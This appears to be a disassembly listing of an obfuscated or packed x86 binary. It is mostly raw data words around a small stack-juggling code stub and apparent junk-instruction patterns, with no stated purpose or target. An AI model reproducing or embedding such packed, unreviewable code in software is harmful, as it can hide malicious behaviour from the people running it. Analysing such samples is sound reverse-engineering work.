		dd 614CA5ACh, 0CE859h, 58BD0000h, 0FB118D7Bh, 87F3511Ah
		dd 815B8EEBh, 661DC3h, 5FF55300h, 34FFC033h, 5AF38B18h
		dd 8E0FF960h, 1, 0EA8161F5h, 15D83B7Eh,	81FAB70Fh, 339566F2h
		dd 0C8D0F56h, 0E9000000h, 7, 0D92D9677h, 819DC549h, 5C0AA1F2h
		dd 1489F500h, 75BEBE03h, 6E964BDh, 0B2000000h, 9FE5374h
		dd 1E883ABh, 48F88B66h,	0F8814848h, 0FFFF9A5Ch,	0FFA0850Fh
		dd 8166FFFFh, 0EB3006C6h, 16h, 4 dup(0)
		dd 0BC010100h, 31000003h, 2DBD8B06h, 50062A32h,	830F5250h
		dd 18h,	13E9h, 8EC0B00h, 335417B3h, 88F76D6Dh, 0E7A81267h
		dd 0B55B0C23h, 5250310Fh, 310FEF8Ah, 585AD88Bh,	489585Ah
		dd 880F6024h, 3, 57F6CE80h, 4CD958Bh, 615B062Ah, 8D8B006Ah
		dd 62A1919h, 5E8h, 5CD6C00h, 0FCBBDB0Fh, 5F22A2E4h, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0D6B5F8C3h, 1ADB8166h, 82858DE3h, 6A06318Ah,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 40C1C355h, 0E5BD8BE5h, 90062A06h, 8B50CF8Bh,	0F5690D1h
		dd 187h, 6A5FFC00h, 6AF88B00h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 6A8FF74Ah
		dd 0BD8956DEh, 62A2E05h, 0AE8AC181h, 95FF0EFFh,	62A1275h
		dd 9BDADF81h, 14E947F7h, 6A000006h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0CD2C357h
		dd 1C9C4EF8h, 1F8A0Fh, 13E80000h, 0DB000000h, 4D5C062Ch
		dd 7A38CB44h, 0B3F0C21Bh, 827D309Fh, 820FE18Bh,	0
aYfb4ns		db 'Yfê4nè',0
		dd 5D000000h, 8A87ED81h, 0BF600631h, 373C3A76h,	293D858Bh
		dd 0F61062Ah, 688h, 5DB58900h, 89062A2Bh, 2A0F019Dh, 4F9B6806h
		dd 0F9B3F078h, 5240481h, 0F0F87C0h, 689h, 0D5958900h, 0FF062A34h
		dd 2A343995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 27A3FA43h, 0E300A77Eh, 1ED58002h
		dd 8915B58Dh, 6A0631h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 496875C3h, 0B5BB5046h, 5A2188CFh
		dd 0DE9h, 82D82500h, 1F581198h,	0AED2773Eh, 95037399h
		dd 62A0509h, 655206C7h,	800F6D67h, 6, 5519589h,	46C7062Ah
		dd 636E6F04h, 55006A6Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0BEF781C0h, 6002FD18h, 8BD98B66h
		dd 2A32D5B5h, 46C76106h, 73736108h, 0E9CB8B00h,	0Fh, 3708501Fh
		dd 1C94F107h, 0D40BA653h, 6A572551h, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0EF0D78D3h
		dd 9D334AADh, 62A0ED5h,	71B58B60h, 31062A27h, 2A18C98Dh
		dd 858D6106h, 6318915h,	25B58589h, 8E0F062Ah, 3, 50FAB70Fh
		dd 6E9h, 0F521400h, 8972D56Eh, 95012404h, 62A2899h, 13C595FFh
		dd 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0DB8142C3h, 5BE3F215h, 840FC00Bh,	49h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B4C35141h, 0EBE7604Eh
		dd 0E975612Eh, 368h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 14h, 0D2C35747h, 0FED90BBAh, 5A596852h, 0BB665F31h
		dd 34811EF6h, 315B7524h, 57006A5Fh, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0DA81661Fh, 95FF2302h
		dd 62A3439h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	5CC35747h, 20318D8Bh, 0B58D062Ah, 6318915h, 6880F51h
		dd 8B000000h, 2A221595h, 6C75906h, 36343831h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9CC35343h, 6AF1E5E1h
		dd 0D3BF0FC0h, 370446C7h, 0BA31342Dh, 0A9A289Ah, 846C7h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 3BC7C356h, 0B1B7F26Ah,	8B006A90h
		dd 2A293D9Dh, 15858D06h, 0F5063189h, 11BF6650h,	240489FDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 51C35040h
		dd 9DB129F9h, 816669C5h, 0FFA101DFh, 2A13C595h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 81664C46h, 0B5BC6DBh, 45840FC0h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D2B4C355h, 1A2B305Dh, 4BBB4021h, 0E900DF49h, 1E0h
		dd 5E9h, 93976100h, 81606C28h, 3D2392DEh, 15858B72h, 61062A05h
		dd 4E8h, 12C00h, 0DE8B6600h, 3830F50h, 66000000h, 448BFB8Bh
		dd 850F0424h, 4, 1271B966h, 0FE8B008Bh,	4244489h, 5E9h
		dd 7882F800h, 6A582A02h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 7A33C352h, 13990E44h
		dd 8166A694h, 0FF97C8C3h, 2A343995h, 0B58DF806h, 6318915h
		dd 0BE8h, 94042100h, 0D71404A1h, 4DB4DC75h, 5AFAB70Fh
		dd 694606C7h, 0F60656Ch, 0D88BCEBFh, 446C761h, 636E6F6Dh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 42C35747h
		dd 24516528h, 0FCFE220Bh, 6C0846C7h, 6A737361h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 6670C352h, 81A85C73h, 2C64BA66h, 0C46C7h, 6A000000h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 816650E2h, 5FE4EDCAh, 8915858Dh,	6A0631h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 5C03A3C3h, 8A0F9B98h, 2, 0BB90CB8Bh,	3975134Dh, 9E850h
		dd 28F30000h, 17EEE3CCh, 8B0120A9h, 6A905AF9h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0C67C356h, 0BD4FEF7Fh, 0C595FFF0h, 0BF062A13h, 30EA266h
		dd 840FC00Bh, 11h, 0D219589h, 8B66062Ah, 2EE9D1h, 0BF0F0000h
		dd 0FAECE9F9h, 6AFFFFh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0B22064C3h, 81E6505Dh, 8DB7ED72h
		dd 7066B58Dh, 6A062Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 2FD828C3h, 0B3481BF8h, 8BFA8AD7h
		dd 2A1335BDh, 0B806h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 182578C3h, 893CF3B8h
		dd 2A33AD85h, 8DC78106h, 0FF6C9B09h, 53006AE6h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 3912DE8Eh
		dd 2B7DFB62h, 0DABB0671h, 8B6E4358h, 6E9C1h, 5ADE0000h
		dd 7903h, 585E9h, 4E0EDA00h, 6905FCB4h,	86EC17CFh, 0A6D234ECh
		dd 0C4B0540Ch, 844E2Ah,	1ED67004h, 3DF58FE7h, 5E16B0AAh
		dd 4C32CCA4h, 0CF73E33h, 33C828A1h, 3DF8ED9Ch, 8228A10Dh
		dd 37C82017h, 28F6A5CBh, 41B09ADEh, 0DABB7D4Ch,	0EDE4F51Bh
		dd 0ABC93B93h, 58AA7811h, 1FE32118h, 0D3BDA251h, 0FC902C72h
		dd 5790EAE1h, 1182B3A8h, 0CA352270h, 110F261Bh,	45B02270h
		dd 7EF2104Eh, 0A9C53C94h, 30FE9FBFh, 7CBBA0D4h,	9EA53FEAh
		dd 0E8DBFBF2h, 0E680F012h, 0F2A1B92Eh, 9E95E124h, 2F16FB94h
		dd 0C0508269h, 0FD8160Dh, 0FC09614Bh, 5FDCB7Ah,	961A746Bh
		dd 34B3897Ch, 2ED48C26h, 61D95842h, 9222702Bh, 0BE160070h
		dd 0A45E2C44h, 20C2E2CCh, 0F921142Dh, 80814F06h, 90A1D331h
		dd 8D870EABh, 0E0D7F79Ch, 0E7863E8Ch, 5892D2h, 56CA0000h
		dd 7D83B2A7h, 0C934226Fh, 26E94D2h, 7DA29918h, 42C226Fh
		dd 0DA52511h, 12BD2E7h,	63000000h, 3D4F7156h, 8DA6BC18h
		dd 8A95896h, 7A6475F9h,	0A58FDF22h, 0EB8F876Ch,	98BBC904h
		dd 0D5A363A1h, 0D1C54126h, 7E985F42h, 6B0D2D87h, 0F5FA278h
		dd 2B45BD75h, 0CD37BF91h, 7D211409h, 2B96226Fh,	29D8301Ah
		dd 0FBDC2C71h, 0A8B90096h, 592730BEh, 0B0D0C7A9h, 831DE7BDh
		dd 0AB81610Ah, 2351B3B5h, 0BF8D9E39h, 821C2D43h, 4E3838CAh
		dd 7B650DF6h, 11FDF020h, 0D2E7C1C9h, 0B3953419h, 0B96AB258h
		dd 6F8271C4h, 0CADB4622h, 9AC2D3h, 56FA0000h, 4BBAC2A7h
		dd 5F36180Fh, 6FD5CB6Ah, 9A9A0922h, 3FC414FDh, 9DDBD23Dh
		dd 0CBC06F67h, 2270486Ah, 48EDE24Dh, 6F227048h,	0B109F304h
		dd 16362052h, 59AB8174h, 3BC9811Bh, 2EC887Ch, 146C5667h
		dd 419C86F2h, 0A8321E11h, 48D2E7D2h, 66h, 0A7CD3780h, 0D3DF13F8h
		dd 35D57CCCh, 0FCABE43Eh, 70362E07h, 2F269122h,	7A64F6F1h
		dd 0F5AC9F2Fh, 0AC96DC27h, 0D05CEF3Dh, 0E1F73DAh, 0AB2BD917h
		dd 8A1847C6h, 6C61A1CCh, 22706AC9h
		dd 0CE9E83EEh, 5219B39Dh, 0E9BB5566h, 0BAA4CA37h, 2553B381h
		dd 44A9A03Bh, 226F7CF6h, 0D3BFB2DAh, 0D2E70DF7h, 1D9h
		dd 0CC371100h, 9E64BCA6h, 4A64E8D2h, 0F0828157h, 9AFA5C41h
		dd 0E7AEFB43h, 0D16C561Ch, 0FBFC9C0h, 0DDC271BAh, 6639EAC6h
		dd 0D79B681Ah, 0BBB0CFC6h, 2445CD8Fh, 0A3FBE550h, 0BF77115Fh
		dd 0C4432D43h, 2899DB77h, 564BFA89h, 2899DADFh,	5E7E75E0h
		dd 36D956Bh, 1F51B169h,	0D62EFC35h, 9969A79Eh, 847928D7h
		dd 2899DBB1h, 4AA49B06h, 8BFB2BCh, 0DAD16459h, 0A7E62899h
		dd 116FF924h, 1E1526AEh, 0B44E22E0h, 0BEB84D1Bh, 0D05773C7h
		dd 6579D911h, 0B1000001h, 28D9A756h, 0CCC15C46h, 226F7D69h
		dd 94DC264Eh, 1568C83h,	0D61409B8h, 4B244559h, 649EF6E0h
		dd 0BD9720Ch, 45837AF8h, 4FAADFBDh, 0D43AB799h,	0BF4614C3h
		dd 0E25ECDB7h, 0DF985F12h, 0DD372E3Fh, 9F37D85h, 0A87E717Bh
		dd 0AE7C165Ah, 0D911BE1Ch, 47B4h, 0E63FEC00h, 0AD836AC9h
		dd 8E9F6DD4h, 8C8130DFh, 226F9FA9h, 0B2B4C442h,	0EAEB5047h
		dd 8D5D90A5h, 7CB93822h, 0A3A26F5Ah, 0BF9B4C1Ah, 0E7B5A8C8h
		dd 0C896458Eh, 0B34E383Ch, 2DA89DBCh, 0D2DD9061h, 0C921CD67h
		dd 5F000000h, 0F2A1EA3Fh, 4573A5FDh, 998E3D24h,	28998C9Ch
		dd 4FC1B823h, 748C3110h, 0E8F9B548h, 145CA6FEh,	0F313E17Ah
		dd 0B2508E85h, 0EC9BD4BEh, 9A563EF7h, 83788128h, 289A56B2h
		dd 92899A05h, 9A55932Dh, 12059528h, 0FB758D5Bh,	417F7611h
		dd 6313F2C1h, 0B308B852h, 14EDBB6Ah, 0DED5705Ah, 0C6A1CABFh
		dd 90752A89h, 8EF7E0AEh, 150AB9EAh, 228B2320h, 0C3352C97h
		dd 5FAA958h, 228B2330h,	262846BBh, 8533D6BBh, 0AFD966FEh
		dd 76255EB8h, 8B14B481h, 0ADC33F22h, 0BB2628C3h, 377C86C4h
		dd 25C0AAB0h, 8DA62A14h, 483228BFh, 0A396B6ADh,	883780D5h
		dd 978C4ABAh, 228B149Eh, 0BBA5B621h, 150A2920h,	247A8456h
		dd 0F2C45EC9h, 276D7156h, 0F28DDBBAh, 8970C5FBh, 6F7FA194h
		dd 9AAB1622h, 0EF75F6EBh, 0C32E245Eh, 0EF8181D9h, 0E3937240h
		dd 0D82AE2ECh, 0CC1BE998h, 1209A48Eh, 42B939B8h, 40E2638Fh
		dd 0E58B774Dh, 2D6F934Bh, 0CB42CE5Dh, 52011202h, 0EA87AEA3h
		dd 0CD389B72h, 6B80FE8h, 0EBE2B443h, 0B4A95891h, 9B733981h
		dd 7FF70E36h, 0F2E9FA95h, 3C2652B4h, 0D5AB9EB8h, 0F1A9432Dh
		dd 29755F11h, 0Ah, 410F2E67h, 29C4AEC0h, 0B137DA32h, 9969C1ABh
		dd 5295EDD7h, 3FC61E08h, 0FF54D37h, 0E1237B65h,	0B551A993h
		dd 8281D9C3h, 53AE06F0h, 5716311Bh, 0C781E789h,	4, 8704EF83h
		dd 895C243Ch, 3D682414h, 8900004Ah, 0C8682414h,	8900001Dh
		dd 0B8502434h, 2DCA5E35h, 0D7429B05h, 25D8F72Ch, 35652AD9h
		dd 46DB2540h, 240577E5h, 0BA0D82FEh, 0D36A9028h, 5458C201h
		dd 8124348Bh, 4C4h, 0D7895700h,	24048157h, 2399538Ah, 8108468Fh
		dd 538A086Eh, 0FF5F2399h, 835E2434h, 148B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553B9E
; ---------------------------------------------------------------------------
		db 73h,	6Ch, 0E6h
		dd 7ADE6625h, 4FB89541h, 3063195h, 0E4E0FFC5h, 0D037F907h
		dd 76040DB5h, 552D92DFh, 392B268Eh, 231A0521h, 7E4B3167h
		dd 8B4999BCh, 0DD155678h, 401FAD27h, 617409F0h,	8D788B98h
		dd 3197018Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1A04h, 0C3564600h, 271E80E3h, 8159D633h, 7642ECE2h
		dd 0C9958B01h, 89062A18h, 2A33958Dh, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 74E46218h
		dd 0BE8B25Dh, 21000000h, 1C6F2DE4h, 0C702EF3Ch,	0C75829E9h
		dd 2A0BF985h, 726406h, 85C7FC00h, 62A06C5h, 0
		dd 311B5FFh, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 623C61C3h, 284ABAE0h, 60E9E3BDh
		dd 25098509h, 0F57062Ah, 8Ah, 0FF615800h, 2A05C195h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 0F548F133h, 6AF38Ah,	343995FFh, 0C08B062Ah, 48310DEBh
		dd 4FA3A2F9h, 0C3EA2DA1h, 5579A163h, 5E75FDEDh,	0A476F67Ah
		dd 0BC56E669h, 93C0FD49h, 0BD26FD26h, 0AA67FD26h, 2FC5FD26h
		dd 0EAB7FD26h, 8ADFD26h, 798AFD26h, 0C06BFD26h,	9C46FD26h
		dd 0B28DFD26h, 0AA5AFD26h, 21BFFD26h, 0EB18FD26h, 9F9FD26h
		dd 78DAFD26h, 0CF86FD26h, 93EAFD26h, 259DFD26h,	2295358Ah
		dd 4A76D6A2h, 0BD5CDE71h, 5A5CF44Bh, 2775FD7Ah,	9775F572h
		dd 0CB74FD79h, 0ED73FD78h, 0F374F57Dh, 7874FC7Bh, 0BC75FC7Bh
		dd 5E75FD7Ah, 0D976FD7Ah, 8C75A6C3h, 0CB75A6C1h, 0E475FD7Ah
		dd 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h, 75F0701Ah, 0A673CCE1h
		dd 0A6E29FFFh, 8AF0707Ch, 6C73CCE1h, 0C3E2DFFFh, 6F0707Ch
		dd 3573CCE1h, 6FE2A3FFh, 0F0F0707Ch, 1E73CCE0h,	0FAE2DBFFh
		dd 7BF0707Ch, 7B73CCE0h, 48E2D7FFh, 80F0707Ch, 0D773CCE3h
		dd 1EE2D3FFh, 0D9F0707Ch, 4273CCE3h, 0D4E2CFFFh, 96F0707Ch
		dd 0F073CCE3h, 8DE2CBFFh, 0E1F0707Ch, 0A673CCE3h, 0A6E2BFFFh
		dd 40F0707Ch, 6C73CCE3h, 0C3E2C7FFh, 0D3F0707Ch, 3573CCE3h
		dd 6FE2C3FFh, 90F0707Ch, 1E73CCE3h, 0FAE2BFFFh,	1CF0707Ch
		dd 7B73CCE3h, 48E2AFFFh, 0A4F0707Ch, 0D773CCE0h, 1EE2ABFFh
		dd 0ACF0707Ch, 4273CCE0h, 0D4E2A7FFh, 76F0707Ch, 0F073CCE0h
		dd 8DE2BBFFh, 0E5F0707Ch, 0A673CCE0h, 0A6E2B7FFh, 9DF0707Ch
		dd 6C73CCE1h, 0C3E2B3FFh, 54F0767Ch, 3573D762h,	6FE266FFh
		dd 0BAF0767Ch, 1E73D761h, 0FAE262FFh, 0B0B69C7Ch, 0F29D11F1h
		dd 2375FD7Ah, 24DA17FBh, 0D525FB4Bh, 0ADFDF53Fh, 91446AE0h
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 6C987C27h
		dd 0A073CCE2h, 1EE2DCFFh, 0B6C87D7Ch, 0CF73CCEDh, 0E4C5B409h
		dd 0F9B54B75h, 863589BAh, 8DE262EFh, 96FEBD7Ch,	2F7A452Bh
		dd 28AFD7Ah, 0CD446AE5h, 725748F7h, 0C6F8FB4Bh,	4B9D50FCh
		dd 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah, 91446AE5h, 5C5748F7h
		dd 0D1F8FB4Bh, 228A50FCh, 87BC1F23h, 8DE2DCF7h,	52DA07Ch
		dd 0EC2CA320h, 97776D92h, 0C1CD4D7Ah, 708A5779h, 0F4446AE1h
		dd 79D3ED1h, 0DA75FD78h, 54CD9BC2h, 0D0DE9B59h,	0A6E266EFh
		dd 8DE9B7Ch, 0E5779592h, 0F3360B7Ah, 866E8872h,	8DE266EFh
		dd 54C54D7Ch, 0BA8AAD79h, 91446AE1h, 2BF69B20h,	277E9B7Eh
		dd 1AB6561Ch, 7975FF6Bh, 0BE4E1529h, 652FFD7Ah,	0A57B89A0h
		dd 94913D59h, 7F5DF70h,	83FE4DBAh, 9D3ED1h, 2A75FD7Bh
		dd 0BC77E192h, 844EA77Ah, 49C5120Eh, 7FA916D0h,	0CB75FCA7h
		dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
		dd 0A56889A0h, 94913D59h, 7F5DF70h, 0B5FF4DBAh,	65EE6885h
		dd 1F2FFB4Bh, 0DA51FD5Fh, 0F5133F71h, 85E94DB9h, 9774BD92h
		dd 61F44D7Ah, 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h
		dd 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh, 4A13451Ch,	439D561Ch
		dd 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h
		dd 699D57E6h, 2375FD7Ah, 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh
		dd 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh, 97AA1584h, 56C5FD7Ah
		dd 0E2CD3ED0h, 0D75FD7Ah, 48E262EFh, 0DAC0707Ch, 5D73CCEDh
		dd 2C7F518Ah, 0CE002D0h, 873CCEDh, 0E574E592h, 0F8254D7Ah
		dd 4B9D5779h, 548A0284h, 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h
		dd 61274DD0h, 1A8BE192h, 0FDCD9B85h, 91DE9B4Bh,	438A036Bh
		dd 0EEDFA7CAh, 9FB65722h, 3C225792h, 0CB750C92h, 22FEA77Ah
		dd 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h, 252D4D7Ah
		dd 69B65779h, 0FAE2E5FFh, 0FDC87D7Ch, 0F373CCEDh, 0FCF8EC0Fh
		dd 0BA446AF0h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h,	759D571Ah
		dd 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 8DE2E5F7h, 46C87D7Ch
		dd 2F73CCEDh, 12F8F10Fh, 0CD446AF0h, 0E4DE152Ah, 4AB6FD7Ah
		dd 7975FD7Eh, 2BEA6885h, 0C3F8FB4Bh, 2944669Dh,	3D6DF9F0h
		dd 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h, 357115F9h
		dd 0CB8A3E78h, 29446AE1h, 96514ACEh, 74C1FF0Eh,	4E13F2CAh
		dd 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h
		dd 68B65778h, 0FAE266EFh, 0EA917D7Ch, 42F539FAh, 2EDE9B75h
		dd 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h, 0CB7345B9h
		dd 708AFD7Ah, 0F4446AE5h, 0EE0B60F7h, 0A0F8FB4Bh, 4ECD3E39h
		dd 0D075FD7Ah, 0A6E262EFh, 0CEB57E7Ch, 1A8935F1h, 0C3E266EFh
		dd 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh, 7F76778Eh
		dd 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h, 0BC9D9D86h
		dd 475FD7Ah, 0B48217FBh, 0EAFCFB4Bh, 51CF7D86h,	0E573CCEDh
		dd 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 6FE262E8h,	0ADFCBD7Ch
		dd 91446AD9h, 79F835F1h, 0E34461B1h, 65EE6F85h,	7FFDFB4Bh
		dd 4801F3Ch, 5E75FD6Dh,	0B8D67F79h, 1A35FB4Bh, 0FAE942E0h
		dd 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 2BD67779h,	0ECF8FB4Bh
		dd 294461D7h, 2F2B5989h, 0CB75FD72h, 72EA6F85h,	0AF6FB4Bh
		dd 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh
		dd 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h, 0BC75FD61h
		dd 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh,	848980F3h
		dd 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h, 6BFCA58Eh
		dd 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah
		dd 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah, 0FAE92390h
		dd 42CF707Ch, 7973CCEDh, 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh
		dd 0A226FD7Eh, 0A6E25AE7h, 0D3497D7Ch, 0BE71887Bh, 0A9771683h
		dd 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 0B26217FBh, 25F8FB4Bh
		dd 0CD446ADDh, 5C7D80F1h, 0F275FD72h, 0B0145989h, 0DC75F9B8h
		dd 0C9D240F7h, 0EF46FB4Bh, 9775F5C3h, 0AADF0E7Ah, 58F89DB9h
		dd 0F4446ADDh, 7874C2FBh, 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh
		dd 969E0479h, 0ABB69C82h, 72D240F7h, 0F3CDFB4Bh, 0C075FD7Ah
		dd 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0C178F7h,	0D08AFB4Bh
		dd 8D8DCA8Bh, 6319E74h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 45C35040h, 33958D89h,	9E9062Ah, 0DE000000h
		dd 0A395E868h, 0C80006E8h, 0BF985C7h, 68E8062Ah, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 1F66C4C3h, 0BD89EB7Ch, 62A28FDh, 6C585C7h, 62Ah, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0BD739DC3h, 1E6F7F8Ch, 0FF2EFAD4h, 2A0B41B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 97818584h, 0B83414B3h, 1C39027Bh, 5C195FFh, 6A062Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 7B70FCC3h, 0FF006AA5h, 2A343995h, 0EBC08B06h, 5124673Bh
		dd 0E2BF3A55h, 0C64A4020h, 4256DBA8h, 3E68A4CFh, 6DFD6B8Ah
		dd 0B275B587h, 0AB8A7EC0h
		dd 493D509Ah, 8E319BC1h, 19B22472h, 324D2ABDh, 5A95195Ah
		dd 34D64402h, 0D36C2E7Ch, 2AE9h, 2404C700h, 0
		dd 0E8h, 0ED815D00h, 6319EC5h, 424448Bh, 2B058589h, 0B8062Ah
		dd 8D000000h, 2A4E978Dh, 0B8E1FF06h, 6754h, 35E9h, 0AECF8500h
		dd 52h,	0Bh dup(0)
		dd 0E9E90000h, 10000004h, 32EA84D8h, 4D059FCFh,	6A22BCB6h
		dd 8A42DC9Ch, 8460FA7Ah, 0A6CE36BAh, 0C5B1540Ch, 0E674732Bh
		dd 26E944Ch, 74698268h,	28A11BC1h, 379161F6h, 231207CBh
		dd 94226F7Dh, 0D62E1829h, 13AC462Eh, 7CC66F64h,	8EF9226Fh
		dd 362D41C0h, 7C660AF8h, 0A892DE24h, 0D3BDB150h, 0BD4412B3h
		dd 352CC7B1h, 0B64C2215h, 7F6820BAh, 7C8DE51Eh,	7006FFCDh
		dd 0EAF4EB86h, 88ADA251h, 2F226F7Dh, 588FCDC4h,	7CC66F64h
		dd 7716226Fh, 7F6F3A9Bh, 0A0B11C1Eh, 0CFA75EB6h, 0FC768DE5h
		dd 2B4BBA12h, 0FD8A641h, 4332F077h, 0CFE0C7BFh,	170A9AE5h
		dd 0F7EA04FEh, 0E1917240h, 388288F7h, 41077ED3h, 0ECFB3930h
		dd 0E61CD46Eh, 1921A08Ah, 0B5227004h, 1CAE9A8Dh, 0A6D2E795h
		dd 4F462AD8h, 853Eh, 23E1AF00h,	56025A51h, 91529671h, 0FB09CD75h
		dd 0E3F48F79h, 1C54AEECh, 1F88B332h, 224A2270h,	0AF87432Fh
		dd 6D3BD2E7h, 0F1F8DD97h, 49E44B0h, 63B4C43h, 0AC000000h
		dd 564D25DEh, 0A4CA37FEh, 0CF9F62BAh, 8FDACE5h,	226F7D2Dh
		dd 4C363EC6h, 4D44AFB1h, 9781F70Fh, 0C4AEC43Fh,	0F4DE9A6Ch
		dd 0D2619A9h, 35F1D677h, 0C2736890h, 0F522707Bh, 34FEA58Ah
		dd 9B8EAEA5h, 83EB16E4h, 0BBB34E8Ch, 0D7996921h, 0CD376B3Dh
		dd 9F84BDA7h, 56E7A29Ch, 5C9A9155h, 51DFC9A5h, 0CF9D5447h
		dd 9473E34h, 1BCA79FBh,	6F980F26h, 0B2A7B022h, 226F9883h
		dd 0C1B8C934h, 6D03FFB7h, 9AD82B83h, 322555B0h,	0E7229446h
		dd 655CD2h, 0FFCD0000h,	0ED8872E8h, 88569EF6h, 710CF67Ah
		dd 0ACC83C7Ah, 0D9996AC2h, 7F2ECFEFh, 392355B1h, 7D8CA99Eh
		dd 9F67226Fh, 756CD7D9h, 788C6255h, 0A1B2A83Fh,	0BFB54F07h
		dd 0EF897DD5h, 877AAA05h, 0E7083F9Bh, 3BB1D2h, 37E90000h
		dd 5818EACDh, 0EB20FF6Eh, 3835E763h, 0D42C1627h, 125D4713h
		dd 4BB98F82h, 37BD8F29h, 0FAE5D0CAh, 0A2C0F740h, 1228A791h
		dd 0BE22704Bh, 13B7A396h, 0BDD2E7DCh, 1, 0A6CC37F5h, 0C5DB29F7h
		dd 0DE7CA193h, 7862734Bh, 348CE6DDh, 34B8A2CEh,	0B251271Ah
		dd 0A07ABDECh, 768751D2h, 8ED72CDCh, 7660EADFh,	0A6742445h
		dd 922D175Fh, 3E3541C4h, 3E7761CCh, 4C419370h, 2899B1E9h
		dd 845263CEh, 0C200F763h, 0DE963040h, 0CF9D4C24h, 7A246C36h
		dd 0D23C39F9h, 0F170CAC1h, 2899D14Ah, 7C3326B6h, 1F07AB97h
		dd 9A48EE4h, 8365924h, 412FD311h, 5D13EFA7h, 5024E0AEh
